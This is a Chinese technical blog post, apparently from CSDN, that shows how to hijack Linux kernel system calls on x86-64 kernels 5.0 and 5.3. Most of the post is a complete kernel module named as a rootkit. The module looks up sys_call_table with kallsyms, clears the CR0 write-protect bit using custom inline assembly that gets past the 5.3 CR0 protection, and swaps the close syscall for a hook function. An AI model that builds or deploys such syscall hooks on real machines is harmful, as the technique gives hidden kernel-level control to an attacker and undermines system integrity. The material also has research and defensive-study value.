Linux内核系统调用劫持之kallsyms

1.通过kallsyms方式

基于Linux 5.0/Linux5.3 的X86-64系统.

1. 通过kallsyms_lookup_name查找sys_call_table地址.

2. 关闭写保护

3. 修改sys_call_table

Linux5.0上直接调用write_cr0接口,能够顺利的修改CR0寄存器,而内核版本更新到Linux5.3以后,发现对CR0的修改进行了保护,所以这里需要自定义write_cr0的实现,直接从Linux5.0中把相关代码静态编译进入模块中.这样也可以绕过对CR0的保护.

#include<linux/module.h>
#include<linux/printk.h>
#include<linux/kobject.h>
#include<linux/kernel.h>
#include<asm/unistd_64.h>
#include<linux/syscalls.h>
#include<linux/delay.h>
#include<linux/kallsyms.h>
#include<asm/syscall.h>
#include<asm/paravirt.h>

#include <asm/nops.h>
static  unsigned long __lkm_order;

static inline unsigned long lkm_read_cr0(void)
{
	unsigned long val;
	asm volatile("mov %%cr0,%0\n\t" : "=r" (val), "=m" (__lkm_order));
	return val;
}

static inline void lkm_write_cr0(unsigned long val)
{
	asm volatile("mov %0,%%cr0": : "r" (val), "m" (__lkm_order));
}


long (*fake_ptr)(const struct pt_regs*);

 long fake_close(const struct pt_regs* regs)
{
	printk(KERN_ERR"fake close+++++\n");
	return fake_ptr(regs);
}
void disable_write_protection(void)
{
  unsigned long cr0 = lkm_read_cr0();
  clear_bit(16, &cr0);
  lkm_write_cr0(cr0);
}
void
enable_write_protection(void)
{
  unsigned long cr0 = lkm_read_cr0();
  set_bit(16, &cr0);
  lkm_write_cr0(cr0);
}

void get_sys_call_table(void)
{
	unsigned long   sys_close = 0;
        unsigned long   *call_table = 0;
	call_table = (unsigned long *)kallsyms_lookup_name("sys_call_table");
	printk("call_table:%lx",call_table);
	if(call_table)
		sys_close = call_table[__NR_close];
	fake_ptr = sys_close;
	disable_write_protection();
	call_table[__NR_close]=fake_close ;	
	printk("fake_close:%lx,sys_close:%lx,table:%lx",(unsigned long)fake_close,sys_close,call_table[__NR_close]);
        msleep(2000);
        call_table[__NR_close] = fake_ptr;

}

static int __init rootkits_lsm_init(void)
{
	
	get_sys_call_table();	
	
	return 0;
}

static void __exit root_kits_lsm_uninit(void)
{
	printk("hell world lsm uninit\n");
	
}

module_init(rootkits_lsm_init);
module_exit(root_kits_lsm_uninit);
MODULE_LICENSE("GPL");

 

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值